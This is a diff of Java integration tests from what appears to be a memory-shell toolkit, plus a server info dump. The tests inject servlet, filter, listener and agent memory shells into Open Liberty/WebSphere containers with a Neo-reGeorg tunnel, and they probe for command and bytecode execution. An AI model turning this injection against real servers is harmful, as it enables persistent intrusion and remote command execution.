@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
shellInjectIsOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V11, packer, container, python);
|
||||
}
|
||||
|
||||
public static String getUrl(GenericContainer<?> container) {
|
||||
String host = container.getHost();
|
||||
int port = container.getMappedPort(9080);
|
||||
String url = "http://" + host + ":" + port + "/app";
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@ValueSource(strings = {ShellType.SERVLET,
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,})
|
||||
void testProbeInject(String shellType) {
|
||||
String url = getUrl(container);
|
||||
ShellAssertion.testProbeInject(url, Server.WebSphere, shellType, Opcodes.V11);
|
||||
}
|
||||
}
|
||||
+97
@@ -0,0 +1,97 @@
|
||||
package com.reajason.javaweb.integration.memshell.websphere;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.junit.jupiter.params.provider.ValueSource;
|
||||
import org.testcontainers.containers.BindMode;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.time.Duration;
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class OpenLiberty25ContainerTest {
|
||||
public static final String imageName = "open-liberty:25.0.0.12-full-java17-openj9";
|
||||
static Network network = Network.newNetwork();
|
||||
@Container
|
||||
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||
.withDockerfile(neoGeorgDockerfile))
|
||||
.withNetwork(network);
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withFileSystemBind(warFile.getFilesystemPath(), "/config/dropins/app.war", BindMode.READ_WRITE)
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(webspherePid, "/fetch_pid.sh")
|
||||
.withNetwork(network)
|
||||
.withNetworkAliases("app")
|
||||
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
|
||||
.withExposedPorts(9080)
|
||||
.withPrivilegedMode(true);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
String server = Server.WebSphere;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.SERVLET,
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.WAS_AGENT_FILTER_MANAGER
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.JSP);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
log.info(logs);
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
shellInjectIsOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V17, packer, container, python);
|
||||
}
|
||||
|
||||
public static String getUrl(GenericContainer<?> container) {
|
||||
String host = container.getHost();
|
||||
int port = container.getMappedPort(9080);
|
||||
String url = "http://" + host + ":" + port + "/app";
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@ValueSource(strings = {ShellType.SERVLET,
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,})
|
||||
void testProbeInject(String shellType) {
|
||||
String url = getUrl(container);
|
||||
ShellAssertion.testProbeInject(url, Server.WebSphere, shellType, Opcodes.V17);
|
||||
}
|
||||
}
|
||||
+81
@@ -0,0 +1,81 @@
|
||||
package com.reajason.javaweb.integration.probe.websphere;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.BindMode;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
import java.time.Duration;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class OpenLiberty18ContainerTest {
|
||||
public static final String imageName = "open-liberty:18.0.0.4-webProfile8";
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withFileSystemBind(warFile.getFilesystemPath(), "/config/dropins/app.war", BindMode.READ_WRITE)
|
||||
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
|
||||
.withExposedPorts(9080)
|
||||
.withPrivilegedMode(true);
|
||||
|
||||
@AfterAll
|
||||
public static void tearDown() {
|
||||
System.out.println(container.getLogs());
|
||||
}
|
||||
|
||||
@Test
|
||||
void testJDK() {
|
||||
String url = getUrlFromWAS(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
|
||||
assertEquals("JRE|1.8.0_211|52", data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBasicInfo() {
|
||||
String url = getUrlFromWAS(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
|
||||
Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
|
||||
}
|
||||
|
||||
@Test
|
||||
void testServerDetection() {
|
||||
String url = getUrlFromWAS(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Server.WebSphere, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrlFromWAS(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.WebSphere, Opcodes.V1_8);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrlFromWAS(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.WebSphere, Opcodes.V1_8);
|
||||
}
|
||||
}
|
||||
+81
@@ -0,0 +1,81 @@
|
||||
package com.reajason.javaweb.integration.probe.websphere;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.BindMode;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
import java.time.Duration;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class OpenLiberty20ContainerTest {
|
||||
public static final String imageName = "open-liberty:20.0.0.12-full-java8-openj9";
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withFileSystemBind(warFile.getFilesystemPath(), "/config/dropins/app.war", BindMode.READ_WRITE)
|
||||
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
|
||||
.withExposedPorts(9080)
|
||||
.withPrivilegedMode(true);
|
||||
|
||||
@AfterAll
|
||||
public static void tearDown() {
|
||||
System.out.println(container.getLogs());
|
||||
}
|
||||
|
||||
@Test
|
||||
void testJDK() {
|
||||
String url = getUrlFromWAS(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
|
||||
assertEquals("JRE|1.8.0_292|52", data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBasicInfo() {
|
||||
String url = getUrlFromWAS(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
|
||||
Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
|
||||
}
|
||||
|
||||
@Test
|
||||
void testServerDetection() {
|
||||
String url = getUrlFromWAS(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Server.WebSphere, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrlFromWAS(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.WebSphere, Opcodes.V1_8);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrlFromWAS(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.WebSphere, Opcodes.V1_8);
|
||||
}
|
||||
}
|
||||
+81
@@ -0,0 +1,81 @@
|
||||
package com.reajason.javaweb.integration.probe.websphere;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.BindMode;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
import java.time.Duration;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class OpenLiberty22ContainerTest {
|
||||
public static final String imageName = "open-liberty:22.0.0.12-full-java11-openj9";
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withFileSystemBind(warFile.getFilesystemPath(), "/config/dropins/app.war", BindMode.READ_WRITE)
|
||||
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
|
||||
.withExposedPorts(9080)
|
||||
.withPrivilegedMode(true);
|
||||
|
||||
@AfterAll
|
||||
public static void tearDown() {
|
||||
System.out.println(container.getLogs());
|
||||
}
|
||||
|
||||
@Test
|
||||
void testJDK() {
|
||||
String url = getUrlFromWAS(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
|
||||
assertEquals("JRE|11.0.19|55", data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBasicInfo() {
|
||||
String url = getUrlFromWAS(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
|
||||
Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
|
||||
}
|
||||
|
||||
@Test
|
||||
void testServerDetection() {
|
||||
String url = getUrlFromWAS(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Server.WebSphere, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrlFromWAS(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.WebSphere, Opcodes.V1_8);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrlFromWAS(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.WebSphere, Opcodes.V1_8);
|
||||
}
|
||||
}
|
||||
+81
@@ -0,0 +1,81 @@
|
||||
package com.reajason.javaweb.integration.probe.websphere;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.BindMode;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
import java.time.Duration;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class OpenLiberty25ContainerTest {
|
||||
public static final String imageName = "open-liberty:25.0.0.12-full-java17-openj9";
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withFileSystemBind(warFile.getFilesystemPath(), "/config/dropins/app.war", BindMode.READ_WRITE)
|
||||
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
|
||||
.withExposedPorts(9080)
|
||||
.withPrivilegedMode(true);
|
||||
|
||||
@AfterAll
|
||||
public static void tearDown() {
|
||||
System.out.println(container.getLogs());
|
||||
}
|
||||
|
||||
@Test
|
||||
void testJDK() {
|
||||
String url = getUrlFromWAS(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
|
||||
assertEquals("JRE|17.0.17|61", data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBasicInfo() {
|
||||
String url = getUrlFromWAS(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
|
||||
Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
|
||||
}
|
||||
|
||||
@Test
|
||||
void testServerDetection() {
|
||||
String url = getUrlFromWAS(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Server.WebSphere, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrlFromWAS(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.WebSphere, Opcodes.V1_8);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrlFromWAS(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.WebSphere, Opcodes.V1_8);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,722 @@
|
||||
# Generated At 2025-12-21 06:35:05
|
||||
SystemProps:
|
||||
java.vendor: IBM Corporation
|
||||
sun.java.launcher: SUN_STANDARD
|
||||
shared.resource.dir: /opt/ol/wlp/usr/shared/resources/
|
||||
os.name: Linux
|
||||
kernel.launch.time: 376323694241719
|
||||
sun.boot.class.path: /opt/ibm/java/jre/lib/amd64/compressedrefs/jclSC180/vm.jar:/opt/ibm/java/jre/lib/se-service.jar:/opt/ibm/java/jre/lib/math.jar:/opt/ibm/java/jre/lib/ibmorb.jar:/opt/ibm/java/jre/lib/ibmorbapi.jar:/opt/ibm/java/jre/lib/ibmcfw.jar:/opt/ibm/java/jre/lib/ibmpkcs.jar:/opt/ibm/java/jre/lib/ibmcertpathfw.jar:/opt/ibm/java/jre/lib/ibmjgssfw.jar:/opt/ibm/java/jre/lib/ibmjssefw.jar:/opt/ibm/java/jre/lib/ibmsaslfw.jar:/opt/ibm/java/jre/lib/ibmjcefw.jar:/opt/ibm/java/jre/lib/ibmjgssprovider.jar:/opt/ibm/java/jre/lib/ibmjsseprovider2.jar:/opt/ibm/java/jre/lib/ibmcertpathprovider.jar:/opt/ibm/java/jre/lib/xmldsigfw.jar:/opt/ibm/java/jre/lib/xml.jar:/opt/ibm/java/jre/lib/charsets.jar:/opt/ibm/java/jre/lib/resources.jar:/opt/ibm/java/jre/lib/rt.jar:/opt/ibm/java/jre/lib/dataaccess.jar
|
||||
java.vm.specification.vendor: Oracle Corporation
|
||||
shared.app.dir: /opt/ol/wlp/usr/shared/apps/
|
||||
java.runtime.version: 8.0.5.36 - pxa6480sr5fp36-20190510_01(SR5 FP36)
|
||||
wlp.lib.dir: /opt/ol/wlp/lib/
|
||||
user.name: default
|
||||
java.compiler: j9jit29
|
||||
os.encoding: ANSI_X3.4-1968
|
||||
com.ibm.util.extralibs.properties:
|
||||
com.ibm.jcl.checkClassPath:
|
||||
server.tmp.dir: /opt/ol/wlp/output/defaultServer/workarea/tmp/
|
||||
user.language: en
|
||||
com.ibm.oti.vm.bootstrap.library.path: /opt/ibm/java/jre/lib/amd64/compressedrefs:/opt/ibm/java/jre/lib/amd64
|
||||
sun.boot.library.path: /opt/ibm/java/jre/lib/amd64/compressedrefs:/opt/ibm/java/jre/lib/amd64
|
||||
wlp.install.dir: /opt/ol/wlp/
|
||||
server.output.dir: /opt/ol/wlp/output/defaultServer/
|
||||
java.version: 1.8.0_211
|
||||
java.util.logging.manager: com.ibm.ws.kernel.boot.logging.WsLogManager
|
||||
user.timezone: UTC
|
||||
com.ibm.system.agent.path: /opt/ibm/java/jre/lib/amd64
|
||||
sun.arch.data.model: 64
|
||||
com.ibm.zero.version: 2
|
||||
java.endorsed.dirs: /opt/ibm/java/jre/lib/endorsed
|
||||
com.ibm.oti.vm.library.version: 29
|
||||
sun.jnu.encoding: ANSI_X3.4-1968
|
||||
file.encoding.pkg: sun.io
|
||||
file.separator: /
|
||||
java.specification.name: Java Platform API Specification
|
||||
java.class.version: 52.0
|
||||
user.country: US
|
||||
java.home: /opt/ibm/java/jre
|
||||
java.vm.info: JRE 1.8.0 Linux amd64-64-Bit Compressed References 20190502_415899 (JIT enabled, AOT enabled)
|
||||
OpenJ9 - 46e57f9
|
||||
OMR - 06a046a
|
||||
IBM - 0b909bf
|
||||
os.version: 6.17.8-orbstack-00308-g8f9c941121b1
|
||||
java.awt.fonts:
|
||||
path.separator: :
|
||||
org.apache.aries.blueprint.preemptiveShutdown: false
|
||||
java.vm.version: 2.9
|
||||
user.variant:
|
||||
wlp.user.dir.isDefault: true
|
||||
ibm.cds.suppresserrors: true
|
||||
java.awt.printerjob: sun.print.PSPrinterJob
|
||||
sun.io.unicode.encoding: UnicodeLittle
|
||||
awt.toolkit: sun.awt.X11.XToolkit
|
||||
ibm.signalhandling.sigint: true
|
||||
org.apache.cxf.stax.allowInsecureParser: 1
|
||||
user.home: /home/default
|
||||
com.ibm.cpu.endian: little
|
||||
java.specification.vendor: Oracle Corporation
|
||||
ibm.signalhandling.sigchain: true
|
||||
org.jboss.weld.xml.disableValidating: true
|
||||
java.library.path: /opt/ibm/java/jre/lib/amd64/compressedrefs:/opt/ibm/java/jre/lib/amd64:/usr/lib64:/usr/lib
|
||||
java.vendor.url: http://www.ibm.com
|
||||
java.vm.vendor: IBM Corporation
|
||||
java.fullversion: 8.0.5.36 - pxa6480sr5fp36-20190510_01(SR5 FP36)
|
||||
JRE 1.8.0 Linux amd64-64-Bit Compressed References 20190502_415899 (JIT enabled, AOT enabled)
|
||||
OpenJ9 - 46e57f9
|
||||
OMR - 06a046a
|
||||
IBM - 0b909bf
|
||||
java.runtime.name: Java(TM) SE Runtime Environment
|
||||
sun.net.http.retryPost: false
|
||||
sun.java.command: /opt/ol/wlp/bin/tools/ws-server.jar defaultServer
|
||||
java.class.path: /opt/ol/wlp/bin/tools/ws-server.jar:/opt/ol/wlp/bin/tools/ws-javaagent.jar:/opt/ol/wlp/bin/tools/ws-javaagent.jar
|
||||
server.config.dir: /opt/ol/wlp/usr/servers/defaultServer/
|
||||
wlp.user.dir: /opt/ol/wlp/usr/
|
||||
java.vm.specification.name: Java Virtual Machine Specification
|
||||
sun.java.launcher.pid: 1
|
||||
java.vm.specification.version: 1.8
|
||||
sun.cpu.endian: little
|
||||
java.awt.headless: true
|
||||
java.io.tmpdir: /tmp
|
||||
ibm.system.encoding: ANSI_X3.4-1968
|
||||
shared.config.dir: /opt/ol/wlp/usr/shared/config/
|
||||
os.arch: amd64
|
||||
java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
|
||||
ibm.signalhandling.rs: false
|
||||
java.ext.dirs: /opt/ibm/java/jre/lib/ext
|
||||
user.dir: /opt/ol/wlp/output/defaultServer
|
||||
line.separator:
|
||||
|
||||
java.vm.name: IBM J9 VM
|
||||
com.ibm.oti.shared.enabled: true
|
||||
com.ibm.vm.bitmode: 64
|
||||
wlp.process.type: server
|
||||
javax.management.builder.initial: com.ibm.ws.kernel.boot.jmx.internal.PlatformMBeanServerBuilder
|
||||
file.encoding: ANSI_X3.4-1968
|
||||
java.specification.version: 1.8
|
||||
com.ibm.oti.configuration: scar
|
||||
wlp.server.name: defaultServer
|
||||
|
||||
===========================================
|
||||
|
||||
ThreadStacks:
|
||||
"Default Executor-thread-9" #60 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@5c2a3d77
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"Inbound Write Selector.1" #57 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:281)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:105)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:98)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:109)
|
||||
at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:144)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"Concurrent Mark Helper" #14 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Default Executor-thread-7" #55 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@769eb7a8
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"Default Executor-thread-6" #53 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@83a8d8d4
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"Default Executor-thread-15" #67 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@8759118d
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"Timer-3" #54 daemon [WAITING] on java.util.TaskQueue@7d53a149
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:189)
|
||||
at java.util.TimerThread.mainLoop(Timer.java:537)
|
||||
at java.util.TimerThread.run(Timer.java:516)
|
||||
|
||||
"Default Executor-thread-5" #52 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@f0adbd1a
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:218)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
|
||||
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at java.lang.Thread.run(Thread.java:812)
|
||||
|
||||
"Timer-0" #29 [TIMED_WAITING] on java.util.TaskQueue@2320fd74
|
||||
